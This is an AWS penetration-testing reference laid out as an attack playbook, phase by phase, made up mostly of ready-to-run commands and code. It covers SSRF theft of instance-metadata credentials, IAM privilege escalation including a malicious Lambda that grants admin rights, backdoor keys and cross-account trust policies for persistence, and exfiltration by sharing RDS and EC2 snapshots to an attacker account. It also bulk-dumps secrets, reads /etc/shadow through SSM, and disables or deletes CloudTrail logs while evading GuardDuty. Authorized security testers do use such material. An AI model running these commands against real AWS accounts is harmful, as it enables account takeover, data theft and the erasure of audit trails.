AWS Penetration Testing - Comprehensive Skill Reference
Scope: Tools, processes, commands, and attack techniques for offensive security assessments of AWS cloud environments. Vendor-neutral, process-focused.
Table of Contents
- Methodology Overview
- Tools Arsenal
- Phase 1: Reconnaissance & Discovery
- Phase 2: Initial Access & Credential Harvesting
- Phase 3: Enumeration (Post-Credential)
- Phase 4: Privilege Escalation
- Phase 5: Lateral Movement
- Phase 6: Persistence
- Phase 7: Data Exfiltration & Impact
- Phase 8: Defense Evasion
- Service-Specific Attack Playbooks
- Quick Reference Tables
1. Methodology Overview
Attack Lifecycle
graph LR
A("1. Recon
OSINT
Dorking
DNS") --> B("2. Initial Access
SSRF/Creds
Leaked Keys
IMDS")
B --> C("3. Enumerate
IAM/Services
S3/EC2/Lambda
Roles/Policies")
C --> D("4. PrivEsc
IAM Policy Abuse
Lambda Inject
Role Assumption")
D --> E("5. Lateral Movement
Cross-Account
Snapshot Share
SSM Run")
E --> F("6. Persistence
Backdoor Keys
Trust Policies
SAML")
F --> G("7. Exfiltration
S3/RDS/Secrets
CloudTrail
DynamoDB")Attack Surface Entry Points
| Entry Point |
Description |
Access Level Required |
| Exposed S3 Buckets |
Public read/write via misconfigured ACLs or policies |
None (unauthenticated) |
| Exposed APIs |
API Gateway endpoints without authentication |
None |
| Leaked Credentials |
Access keys in repos, CI/CD logs, environment files |
None |
| SSRF to IMDS |
Server-Side Request Forgery targeting metadata endpoint |
Web application access |
| Compromised EC2 |
Pivot from compromised instance |
OS-level access |
| Phishing / Password Spray |
Target IAM users with console access |
None |
| Tool |
Purpose |
Install |
Profile Required |
| awscli |
Official AWS command line interface |
pip install awscli or brew install awscli |
Yes |
| Pacu |
AWS exploitation framework (modular post-compromise) |
git clone https://github.com/RhinoSecurityLabs/pacu |
Yes |
| CloudFox |
Attack path enumeration and situational awareness |
go install github.com/BishopFox/cloudfox@latest |
Yes |
| enumerate-iam |
Brute-force IAM permission discovery |
git clone https://github.com/andresriancho/enumerate-iam |
Yes (keys) |
| Prowler |
CIS benchmark / compliance / security posture |
pip install prowler |
Yes |
| ScoutSuite |
Multi-cloud security posture assessment |
pip install scoutsuite |
Yes |
| Steampipe |
SQL-based cloud resource querying |
brew install steampipe && steampipe plugin install aws |
Yes |
| Principal Mapper (pmapper) |
IAM privilege escalation graph analysis |
pip install principalmapper |
Yes |
| aws_consoler |
Convert CLI credentials to console login URL |
pip install aws-consoler |
Yes (keys) |
| Tool |
Purpose |
Install |
| CloudBrute |
Multi-cloud asset discovery via brute force |
go build from github.com/0xsha/CloudBrute |
| cloud_enum |
Multi-cloud resource enumeration |
pip install cloud_enum |
| S3Scanner |
S3 bucket discovery and permissions check |
pip install s3scanner |
| AWSBucketDump |
S3 bucket content dumper with keyword matching |
git clone https://github.com/jordanpotti/AWSBucketDump |
| lazys3 |
S3 bucket brute-forcer |
Ruby script |
| TruffleHog |
Secret scanning in Git repos / S3 / filesystems |
pip install trufflehog |
| Gitleaks |
Secret detection in Git repos |
brew install gitleaks |
| Nuclei |
Template-based vulnerability scanner (cloud templates) |
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest |
| Tool |
Purpose |
Install |
| CCAT |
Cloud Container Attack Tool (ECR/ECS exploitation) |
Docker + Python |
| kube-hunter |
Kubernetes penetration testing |
pip install kube-hunter |
| kubescape |
Kubernetes misconfiguration scanner |
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | bash |
| Tool |
Purpose |
Install |
| cred_scanner |
Local filesystem credential scanner |
git clone https://github.com/disruptops/cred_scanner |
| WeirdAAL |
AWS Attack Library (service enumeration) |
git clone https://github.com/carnal0wnage/weirdAAL |
| awsenum |
Read-only IAM permission brute-forcer |
git clone https://github.com/zer1t0/awsenum |
| SkyArk |
Shadow Admin discovery (PowerShell) |
Import-Module .\SkyArk.ps1 |
2.5 IaC / Static Analysis
| Tool |
Purpose |
| Checkov |
Terraform/CloudFormation static analysis |
| Terrascan |
IaC misconfiguration detection |
| KICS |
IaC security scanning |
| CloudSploit |
Cloud posture management (open-source) |
3. Phase 1: Reconnaissance & Discovery
3.1 Passive Reconnaissance
Google Dorking for AWS Assets
site:.s3.amazonaws.com "target-company"
site:s3.amazonaws.com intitle:index.of.bucket
inurl:s3.amazonaws.com intitle:"AWS S3 Explorer"
site:amazonaws.com "target-domain"
GitHub Secret Scanning
# Search for AWS keys in public repos
# Access key pattern: AKIA[A-Z0-9]{16}
# Secret key pattern: [A-Za-z0-9/+=]{40}
trufflehog github --org=target-org
gitleaks detect --source=./repo --report-format json
DNS Reconnaissance
dig +nocmd target.com any +multiline +noall +answer
dig target.com
nslookup target.com
nslookup <ip-address>
# Identify S3-hosted websites
nslookup s3-website-us-west-2.amazonaws.com
3.2 Active Reconnaissance
S3 Bucket Discovery
# CloudBrute - multi-cloud storage brute force
./CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w ./data/storage_small.txt
# cloud_enum
python cloud_enum.py -k targetcompany --disable-azure --disable-gcp
# S3Scanner
python s3scanner.py --bucket-file buckets.txt
# lazys3
ruby lazys3.rb target-company
# Nuclei cloud templates
nuclei -t nuclei-templates/cloud/aws/ -l subdomains.txt
https://BUCKET-NAME.s3.amazonaws.com/
https://s3.amazonaws.com/BUCKET-NAME/
https://s3-REGION.amazonaws.com/BUCKET-NAME/
https://BUCKET-NAME.s3-REGION.amazonaws.com/
https://BUCKET-NAME.s3.REGION.amazonaws.com/
Subdomain Enumeration for AWS Services
subfinder -d target.com -all -silent | httpx -silent -webserver -threads 100 | grep -i AmazonS3
assetfinder --subs-only target.com | httpx -silent -tech-detect | grep -i "s3\|cloudfront\|elasticbeanstalk"
4. Phase 2: Initial Access & Credential Harvesting
4.1 Credential Locations
| Service |
Credential Type |
Location |
Extraction Method |
| IMDS (EC2) |
Temporary IAM Tokens |
http://169.254.169.254/latest/meta-data/ |
curl with token header |
| Secrets Manager |
API Keys, Secrets |
AWS-managed secret store |
aws secretsmanager get-secret-value |
| Lambda |
Environment Variables |
Function configuration |
aws lambda get-function-configuration |
| Elastic Beanstalk |
App Environment Variables |
Configuration files |
aws elasticbeanstalk describe-environments |
| CodeBuild/CodePipeline |
Hardcoded Secrets |
BuildSpec, artifacts |
Review buildspec or logs |
| CodeCommit |
Hardcoded API Keys |
Git Repositories |
git grep, manual inspection |
| S3 Buckets |
Config Files, Tokens |
Terraform/CloudFormation templates |
aws s3 cp, check bucket policies |
| CloudWatch Logs |
Sensitive Log Data |
Application/event logs |
Query logs for secrets |
| ECS Task Definitions |
API Keys, Env Variables |
Container definitions |
aws ecs describe-task-definition |
| SSM Parameter Store |
Secrets, Config Values |
Parameter Store |
aws ssm get-parameter --with-decryption |
| CloudFormation Templates |
Passwords, Keys |
Stack templates |
aws cloudformation get-template |
| Terraform State Files |
Plaintext secrets |
S3 / local .tfstate |
jq extraction |
| Type |
Pattern |
Example |
| Access Key ID |
AKIA[A-Z0-9]{16} |
AKIAIOSFODNN7EXAMPLE |
| Temporary Access Key |
ASIA[A-Z0-9]{16} |
ASIAZQNB3KHGBO7JZHVJ |
| Secret Access Key |
40-character base64 |
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY |
| Session Token |
Long base64 string |
FQoGZXIvYXdzE... |
| ARN |
arn:partition:service:region:account-id:resource |
arn:aws:iam::123456789012:user/admin |
IMDSv1 (No Authentication - Trivial to Exploit)
# Direct metadata access
curl http://169.254.169.254/latest/meta-data/
# Get IAM role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE-NAME>
# IPv6 alternative
curl http://[fd00:ec2::254]/latest/meta-data/
# User data (may contain secrets/bootstrap scripts)
curl http://169.254.169.254/latest/user-data
IMDSv2 (Token-Based - Harder but Not Impossible)
# Step 1: Get session token (requires PUT + custom header)
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
http://169.254.169.254/latest/api/token)
# Step 2: Use token in subsequent requests
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
| Feature |
IMDSv1 |
IMDSv2 |
| Authentication |
None (simple GET) |
Session token required (PUT + header) |
| SSRF Protection |
Vulnerable |
Resistant (requires PUT with custom header) |
| Default Status |
Often still enabled |
Opt-in (should be enforced) |
SSRF to IMDS Attack Chain
# 1. Find SSRF in web application
https://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/
# 2. Enumerate role name
https://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 3. Extract credentials
https://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# 4. Also try LFI for container environments
http://vulnerable-app.com/proxy/file:///proc/self/environ
# ECS / Fargate task credentials
cat /proc/self/environ | grep AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
# Alternative ECS endpoint
curl http://169.254.170.2/v2/credentials/<GUID>
4.4 Using Harvested Credentials
# Configure a new AWS CLI profile
aws configure --profile compromised
# Enter: Access Key ID, Secret Access Key, Region
# For temporary credentials (with session token)
aws configure --profile compromised
aws configure set aws_session_token <SESSION_TOKEN> --profile compromised
# Or use environment variables
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..." # Only for temporary creds
export AWS_DEFAULT_REGION="us-east-1"
# Verify identity
aws sts get-caller-identity --profile compromised
# Credentials file location
~/.aws/credentials
~/.aws/config
4.5 CLI Credentials to Console Access
# Method 1: aws_consoler
aws_consoler -v -a AKIA... -s SECRET_KEY
# Method 2: Manual Federation URL
# Step 1: Create session JSON
cat > session.json << 'EOF'
{
"sessionId": "YOUR_ACCESS_KEY_ID",
"sessionKey": "YOUR_SECRET_ACCESS_KEY",
"sessionToken": "YOUR_SESSION_TOKEN"
}
EOF
# Step 2: Get SigninToken
SESSION=$(jq -c . session.json | python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read()))')
curl "https://signin.aws.amazon.com/federation?Action=getSigninToken&Session=${SESSION}"
# Step 3: Build login URL
# https://signin.aws.amazon.com/federation?Action=login&Issuer=Example&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=<TOKEN>
5. Phase 3: Enumeration (Post-Credential)
5.1 Identity & Account Enumeration
# Who am I?
aws sts get-caller-identity
# Account details
aws iam get-account-summary
aws iam get-account-authorization-details # GOLD - dumps everything
# Organizations (if accessible)
aws organizations describe-organization
aws organizations list-accounts
5.2 IAM Enumeration
# Users
aws iam list-users
aws iam get-user --user-name <username>
aws iam list-access-keys --user-name <username>
aws iam list-groups-for-user --user-name <username>
aws iam list-user-policies --user-name <username> # Inline policies
aws iam list-attached-user-policies --user-name <username> # Managed policies
aws iam get-user-policy --user-name <username> --policy-name <policy>
# Roles
aws iam list-roles
aws iam get-role --role-name <role>
aws iam list-attached-role-policies --role-name <role>
aws iam list-role-policies --role-name <role>
aws iam get-role-policy --role-name <role> --policy-name <policy>
# Groups
aws iam list-groups
aws iam get-group --group-name <group>
aws iam list-group-policies --group-name <group>
aws iam list-attached-group-policies --group-name <group>
# Policies
aws iam list-policies --scope Local
aws iam get-policy --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn> --version-id v1
# Brute-force permissions (when Get* is denied)
./enumerate-iam.py --access-key AKIA... --secret-key <secret>
# CloudFox (comprehensive)
cloudfox aws --profile <profile> permissions
cloudfox aws --profile <profile> role-trusts
cloudfox aws --profile <profile> principals
5.3 Service Enumeration
S3
aws s3 ls
aws s3 ls s3://<bucket> --recursive
aws s3api get-bucket-acl --bucket <bucket>
aws s3api get-bucket-policy --bucket <bucket>
aws s3api get-bucket-versioning --bucket <bucket>
aws s3api get-bucket-encryption --bucket <bucket>
aws s3api get-public-access-block --bucket <bucket>
# Anonymous access
aws s3 ls s3://<bucket> --no-sign-request
EC2
aws ec2 describe-instances
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,InstanceType]' --output table
aws ec2 describe-security-groups
aws ec2 describe-snapshots --owner-ids self
aws ec2 describe-volumes
aws ec2 describe-key-pairs
aws ec2 describe-images --owners self
aws ec2 describe-vpcs
aws ec2 describe-subnets
# User data (may contain secrets)
aws ec2 describe-instance-attribute --attribute userData --instance-id <id> | jq -r '.UserData.Value' | base64 --decode
Lambda
aws lambda list-functions
aws lambda get-function --function-name <name>
aws lambda get-function-configuration --function-name <name>
aws lambda get-policy --function-name <name>
aws lambda list-layers
Secrets Manager & Parameter Store
# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <name>
# SSM Parameter Store
aws ssm describe-parameters
aws ssm get-parameter --name <name> --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryption
RDS / DynamoDB
# RDS
aws rds describe-db-instances
aws rds describe-db-snapshots
aws rds describe-db-cluster-snapshots
# DynamoDB
aws dynamodb list-tables
aws dynamodb describe-table --table-name <table>
aws dynamodb scan --table-name <table>
ECS / ECR / EKS
# ECS
aws ecs list-clusters
aws ecs list-services --cluster <cluster>
aws ecs list-tasks --cluster <cluster>
aws ecs describe-task-definition --task-definition <task-def>
# ECR
aws ecr describe-repositories
aws ecr list-images --repository-name <repo>
aws ecr get-login-password --region <region>
# EKS
aws eks list-clusters
aws eks describe-cluster --name <cluster>
aws eks update-kubeconfig --name <cluster>
aws cloudformation list-stacks
aws cloudformation describe-stacks --stack-name <stack>
aws cloudformation get-template --stack-name <stack> | jq -r '.TemplateBody'
SQS / SNS
# SQS
aws sqs list-queues
aws sqs get-queue-attributes --queue-url <url> --attribute-names All
aws sqs receive-message --queue-url <url>
# SNS
aws sns list-topics
aws sns list-subscriptions
aws sns get-topic-attributes --topic-arn <arn>
API Gateway
aws apigateway get-rest-apis
aws apigateway get-stages --rest-api-id <id>
aws apigateway get-resources --rest-api-id <id>
# CloudFox - all checks
cloudfox aws --profile <profile> all-checks
# ScoutSuite - security posture
scout aws --profile <profile> --report-dir ./report
# Prowler - compliance
prowler aws --profile <profile> --output-formats html,json
# Steampipe - SQL queries
steampipe query "SELECT * FROM aws_iam_user"
steampipe query "SELECT * FROM aws_s3_bucket WHERE bucket_policy_is_public"
steampipe query "SELECT * FROM aws_ec2_instance WHERE instance_state = 'running'"
# Pacu
pacu
> set_keys
> run iam__enum_permissions
> run ec2__enum
> run lambda__enum
> run s3__bucket_finder
6. Phase 4: Privilege Escalation
6.1 Dangerous IAM Permissions (Shadow Admin)
| Permission |
Exploitation Path |
iam:CreatePolicyVersion |
Create new admin policy version and set as default |
iam:SetDefaultPolicyVersion |
Set a permissive policy version as default |
iam:AttachUserPolicy |
Attach AdministratorAccess to self |
iam:AttachGroupPolicy |
Attach admin policy to your group |
iam:AttachRolePolicy |
Attach admin policy to assumable role |
iam:PutUserPolicy |
Add inline admin policy to self |
iam:PutGroupPolicy |
Add inline admin policy to your group |
iam:PutRolePolicy |
Add inline policy to target role |
iam:AddUserToGroup |
Add self to Admins group |
iam:CreateAccessKey |
Create access key for any user |
iam:CreateLoginProfile |
Set console password for any user |
iam:UpdateLoginProfile |
Change console password for any user |
iam:UpdateAssumeRolePolicy |
Modify role trust to allow cross-account access |
iam:PassRole + ec2:RunInstances |
Launch EC2 with admin role attached |
iam:PassRole + lambda:CreateFunction |
Create Lambda with admin role |
lambda:UpdateFunctionCode |
Inject code into existing Lambda |
lambda:UpdateFunctionConfiguration |
Add malicious layer to Lambda |
glue:UpdateDevEndpoint |
Inject SSH key into Glue endpoint |
cloudformation:CreateStack |
Deploy stack with malicious IAM resources |
datapipeline:CreatePipeline |
Execute arbitrary commands via pipeline |
ssm:SendCommand |
Execute commands on managed EC2 instances |
sagemaker:CreatePresignedNotebookInstanceUrl |
Access Jupyter with instance role |
6.2 Policy Manipulation Attacks
# 1. Create admin policy version
aws iam create-policy-version --policy-arn arn:aws:iam::<ACCOUNT>:policy/<POLICY> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
# 2. Attach admin policy to self
aws iam attach-user-policy --user-name <SELF> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 3. Add inline admin policy
aws iam put-user-policy --user-name <SELF> --policy-name admin \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
# 4. Add self to admin group
aws iam add-user-to-group --user-name <SELF> --group-name Admins
# 5. Create access key for admin user
aws iam create-access-key --user-name <ADMIN_USER>
# 6. Create console login for target user
aws iam create-login-profile --user-name <TARGET> \
--password 'C0mpl3xP@ss!' --no-password-reset-required
6.3 Role Assumption Attacks
# Modify role trust policy (cross-account backdoor)
aws iam update-assume-role-policy --role-name <TARGET_ROLE> --policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::<ATTACKER_ACCOUNT>:root"},
"Action": "sts:AssumeRole"
}]
}'
# Assume a role
aws sts assume-role --role-arn arn:aws:iam::<ACCOUNT>:role/<ROLE> --role-session-name pwned
6.4 Lambda-Based Privilege Escalation
# malicious_lambda.py - Inject into existing Lambda
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
# Attach admin policy to attacker user
response = client.attach_user_policy(
UserName='attacker-user',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
# Update existing Lambda function code
zip malicious.zip malicious_lambda.py
aws lambda update-function-code --function-name <TARGET> --zip-file fileb://malicious.zip
# Lambda layer hijacking (package priority attack)
# Create malicious layer with boto3 override
aws lambda publish-layer-version --layer-name evil-layer --zip-file fileb://layer.zip
aws lambda update-function-configuration --function-name <TARGET> \
--layers arn:aws:lambda:<REGION>:<ACCOUNT>:layer:evil-layer:1
6.5 EC2-Based Privilege Escalation
# PassRole + RunInstances: Launch EC2 with admin role
aws iam create-instance-profile --instance-profile-name backdoor-profile
aws iam add-role-to-instance-profile --instance-profile-name backdoor-profile --role-name AdminRole
aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
--iam-instance-profile Name=backdoor-profile
# Then SSH in and curl metadata for admin creds
6.6 Automated Privilege Escalation Scanning
# Pacu
pacu
> run iam__privesc_scan
# Principal Mapper
pmapper graph --profile <profile>
pmapper query "who can do iam:AttachUserPolicy"
pmapper visualize --filetype png
# CloudFox
cloudfox aws --profile <profile> permissions
7. Phase 5: Lateral Movement
7.1 Cross-Account Movement
# Enumerate cross-account roles
cloudfox aws --profile <profile> role-trusts
# Assume role in another account
aws sts assume-role --role-arn arn:aws:iam::<OTHER_ACCOUNT>:role/<ROLE> \
--role-session-name lateral
7.2 SSM Command Execution (EC2)
# List managed instances
aws ssm describe-instance-information
# Execute command on EC2
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami && cat /etc/shadow"
# Get command output
aws ssm list-command-invocations --command-id "<CMD-ID>" \
--details --query "CommandInvocations[].CommandPlugins[].Output"
7.3 EC2 Snapshot Attack (Mount & Extract)
# 1. Get account ID
aws sts get-caller-identity
# 2. Find snapshots
aws ec2 describe-snapshots --owner-ids <ACCOUNT_ID>
# 3. Check snapshot permissions
aws ec2 describe-snapshot-attribute --snapshot-id snap-xxx --attribute createVolumePermission
# 4. Create volume from snapshot (in your account)
aws ec2 create-volume --availability-zone us-east-1a --region us-east-1 --snapshot-id snap-xxx
# 5. Attach to your instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# 6. Mount and extract data
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
# Search for credentials, configs, etc.
7.4 ECR Container Image Analysis
# List repositories
aws ecr describe-repositories
# List images in repo
aws ecr list-images --repository-name <repo>
# Get login and pull image
aws ecr get-login-password | docker login -u AWS -p $(cat) https://<ACCOUNT>.dkr.ecr.<REGION>.amazonaws.com
docker pull <ACCOUNT>.dkr.ecr.<REGION>.amazonaws.com/<repo>:latest
# Inspect for secrets
docker inspect <IMAGE_ID>
docker history <IMAGE_ID> --no-trunc
# Alternative: Download layers via CLI
aws ecr batch-get-image --repository-name <repo> --registry-id <ACCOUNT> \
--image-ids imageTag=latest | jq '.images[].imageManifest|fromjson'
aws ecr get-download-url-for-layer --repository-name <repo> \
--layer-digest "sha256:xxxxx"
8. Phase 6: Persistence
8.1 IAM-Based Persistence
# 1. Create backdoor access key
aws iam create-access-key --user-name <TARGET>
# 2. Create console login profile
aws iam create-login-profile --user-name <TARGET> \
--password 'B@ckd00r!' --no-password-reset-required
# 3. Cross-account trust policy backdoor
aws iam update-assume-role-policy --role-name <ROLE> --policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::<ATTACKER_ACCOUNT>:root"},
"Action": "sts:AssumeRole"
}]
}'
# 4. SAML federation backdoor
aws iam create-saml-provider --saml-metadata-document file://metadata.xml --name BackdoorIDP
aws iam update-assume-role-policy --role-name <ROLE> --policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::<ACCOUNT>:saml-provider/BackdoorIDP"},
"Action": "sts:AssumeRoleWithSAML"
}]
}'
8.2 Resource-Based Persistence
# S3 bucket policy backdoor
aws s3api put-bucket-policy --bucket <TARGET_BUCKET> --policy '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::<ATTACKER_ACCOUNT>:root"},
"Action": "s3:*",
"Resource": ["arn:aws:s3:::<TARGET_BUCKET>", "arn:aws:s3:::<TARGET_BUCKET>/*"]
}]
}'
# Lambda layer backdoor (persistent across function updates)
aws lambda publish-layer-version --layer-name persistence --zip-file fileb://backdoor.zip
for func in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
aws lambda update-function-configuration --function-name $func \
--layers arn:aws:lambda:<REGION>:<ACCOUNT>:layer:persistence:1
done
# EC2 AMI sharing
aws ec2 modify-image-attribute --image-id ami-xxx \
--launch-permission "Add=[{UserId=<ATTACKER_ACCOUNT>}]"
# RDS snapshot sharing
aws rds modify-db-snapshot-attribute --db-snapshot-identifier snap-xxx \
--attribute-name restore --values-to-add <ATTACKER_ACCOUNT>
# Secrets Manager resource policy
aws secretsmanager put-resource-policy --secret-id <SECRET> --resource-policy '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::<ATTACKER_ACCOUNT>:root"},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}]
}'
9. Phase 7: Data Exfiltration & Impact
9.1 S3 Data Exfiltration
# Download entire bucket
aws s3 sync s3://<bucket> ./exfil/
# Targeted download
aws s3 cp s3://<bucket>/sensitive-file.csv ./
# List all versions (recover deleted data)
aws s3api list-object-versions --bucket <bucket>
9.2 RDS Snapshot Exfiltration
# Create snapshot of target database
aws rds create-db-snapshot --db-snapshot-identifier exfil-snap --db-instance-identifier <db-id>
# Share with attacker account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier exfil-snap \
--attribute-name restore --values-to-add <ATTACKER_ACCOUNT>
# In attacker account: restore snapshot to new instance
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier stolen-db --db-snapshot-identifier exfil-snap
9.3 Secrets Manager & Parameter Store
# Dump all secrets
for secret in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text); do
echo "=== $secret ==="
aws secretsmanager get-secret-value --secret-id "$secret" 2>/dev/null
done
# Dump all SSM parameters
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# Find state files in S3
aws s3 ls s3://<bucket> --recursive | grep tfstate
# Download and extract secrets
aws s3 cp s3://<bucket>/terraform.tfstate ./
cat terraform.tfstate | jq -r '.. | select(type == "string") | select(test("password|secret|key|token"; "i"))'
# Specific resource secrets
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes.password'
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_iam_access_key") | .instances[].attributes.secret'
10. Phase 8: Defense Evasion
10.1 CloudTrail Manipulation
# Stop logging
aws cloudtrail stop-logging --name <trail-name>
# Delete trail
aws cloudtrail delete-trail --name <trail-name>
# Disable global events
aws cloudtrail update-trail --name <trail-name> --no-include-global-service-events
# Limit to single region
aws cloudtrail update-trail --name <trail-name> --no-is-multi-region-trail
# Modify event selectors (exclude sensitive APIs)
aws cloudtrail put-event-selectors --trail-name <trail-name> \
--event-selectors file://exclude-iam.json
10.2 CloudTrail Log Deletion
# Delete logs via S3 lifecycle rule
aws s3api put-bucket-lifecycle-configuration --bucket <cloudtrail-bucket> \
--lifecycle-configuration '{
"Rules": [{
"Id": "DeleteAll",
"Status": "Enabled",
"Prefix": "",
"Expiration": {"Days": 1}
}]
}'
10.3 GuardDuty Evasion
Important: Kali/Parrot/Pentoo Linux user-agents trigger GuardDuty alerts. Use tools that modify user-agents (e.g., Pacu).
# Pacu automatically modifies user-agent strings
# Alternatively, set custom user-agent:
export AWS_EXECUTION_ENV="AWS_Lambda_python3.9"
10.4 Policy Size Exploitation (Log Obfuscation)
Policies between 102,401-131,072 characters cause CloudTrail to log "requestParameters too large" instead of the actual policy content, hiding malicious changes.
11. Service-Specific Attack Playbooks
11.1 EC2 Attack Flow
1. Enumerate instances --> aws ec2 describe-instances
2. Check user data --> aws ec2 describe-instance-attribute --attribute userData
3. Check security groups --> aws ec2 describe-security-groups
4. Find snapshots --> aws ec2 describe-snapshots --owner-ids <account>
5. Mount snapshot --> create-volume + attach + mount
6. Extract credentials --> grep for keys, configs, .env, .git
7. SSRF to IMDS --> curl 169.254.169.254/latest/meta-data/
8. Pivot with stolen creds --> aws configure --profile next
11.2 Lambda Attack Flow
1. List functions --> aws lambda list-functions
2. Get code --> aws lambda get-function (download URL)
3. Get env vars --> aws lambda get-function-configuration | jq '.Environment'
4. Get policy --> aws lambda get-policy
5. Inject code --> aws lambda update-function-code
6. Add malicious layer --> aws lambda update-function-configuration --layers
7. Invoke --> aws lambda invoke
11.3 S3 Attack Flow
1. Discover buckets --> CloudBrute, cloud_enum, lazys3, dorking
2. Test anonymous access --> aws s3 ls s3://<bucket> --no-sign-request
3. Check ACL --> aws s3api get-bucket-acl
4. Check policy --> aws s3api get-bucket-policy
5. Download contents --> aws s3 sync s3://<bucket> ./
6. Check versioning --> aws s3api list-object-versions (recover deleted files)
7. Write test --> aws s3 cp test.txt s3://<bucket>/
11.4 IAM Attack Flow
1. Identify caller --> aws sts get-caller-identity
2. Enumerate permissions --> enumerate-iam / Pacu iam__enum_permissions
3. Check policies --> list-attached-user-policies, get-policy-version
4. Find escalation paths --> Pacu iam__privesc_scan / pmapper
5. Escalate --> Create keys, attach policies, assume roles
6. Persist --> Backdoor trust policies, create federation
12. Quick Reference Tables
12.1 Identity Verification
| Command |
Purpose |
aws sts get-caller-identity |
Who am I? (Account, User/Role, ARN) |
aws iam get-user |
Current user details |
aws iam get-account-authorization-details |
Full IAM dump |
12.2 Most Valuable Enumeration Commands
| Command |
Why It Matters |
aws iam get-account-authorization-details |
Full IAM policy dump - find all escalation paths |
aws ec2 describe-instance-attribute --attribute userData |
Bootstrap scripts often contain credentials |
aws lambda get-function-configuration |
Environment variables contain secrets |
aws secretsmanager list-secrets + get-secret-value |
Direct credential access |
aws ssm get-parameters-by-path --path / --recursive --with-decryption |
All SSM secrets |
aws cloudformation get-template |
Templates contain hardcoded passwords |
aws rds describe-db-snapshots |
Database snapshots can be exfiltrated |
aws ec2 describe-snapshots --owner-ids self |
EC2 disk snapshots for mounting |
12.3 Publicly Accessible AWS Endpoints
| Service |
Public Endpoint Pattern |
Notes |
| S3 |
https://<bucket>.s3.amazonaws.com/<object> |
Public via bucket policy or ACL |
| API Gateway |
https://<api-id>.execute-api.<region>.amazonaws.com/ |
Public by default |
| CloudFront |
https://<distro>.cloudfront.net/ |
CDN, intended public |
| Lambda (via APIGW) |
https://<api-id>.execute-api.<region>.amazonaws.com/<stage> |
Public if API GW is public |
| ELB |
http://<elb-dns> |
Public if internet-facing |
| EC2 |
<public-ip>:<port> |
Via Security Groups + public IP |
| EKS |
Public API via ELB |
Unless endpoint access restricted |
| Lightsail |
Public IP assigned |
Default public, adjust firewall |
| Task |
Command |
| Full automated recon |
cloudfox aws --profile <p> all-checks |
| Permission enumeration |
./enumerate-iam.py --access-key AKIA... --secret-key SECRET |
| Compliance scan |
prowler aws --profile <p> --compliance cis_2.0_aws |
| Security posture |
scout aws --profile <p> |
| SQL cloud queries |
steampipe query "SELECT * FROM aws_iam_user" |
| Exploitation framework |
pacu -> set_keys -> run iam__privesc_scan |
| Attack path graph |
pmapper graph --profile <p> |
| Console from CLI keys |
aws_consoler -v -a AKIA... -s SECRET |
12.5 Key Pacu Modules
| Module |
Purpose |
iam__enum_permissions |
Enumerate all IAM permissions |
iam__privesc_scan |
Find privilege escalation paths |
iam__backdoor_users_keys |
Create backdoor access keys |
iam__backdoor_assume_role |
Create backdoor role trust |
ec2__enum |
Enumerate EC2 instances |
s3__bucket_finder |
Discover S3 buckets |
s3__download_bucket |
Download bucket contents |
lambda__enum |
Enumerate Lambda functions |
ebs__download_snapshots |
Download EBS snapshots |
secretsmanager__secrets_dump |
Dump all secrets |
cloudformation__download_data |
Extract CloudFormation templates |
detection__disruption |
Evade CloudTrail / GuardDuty |
References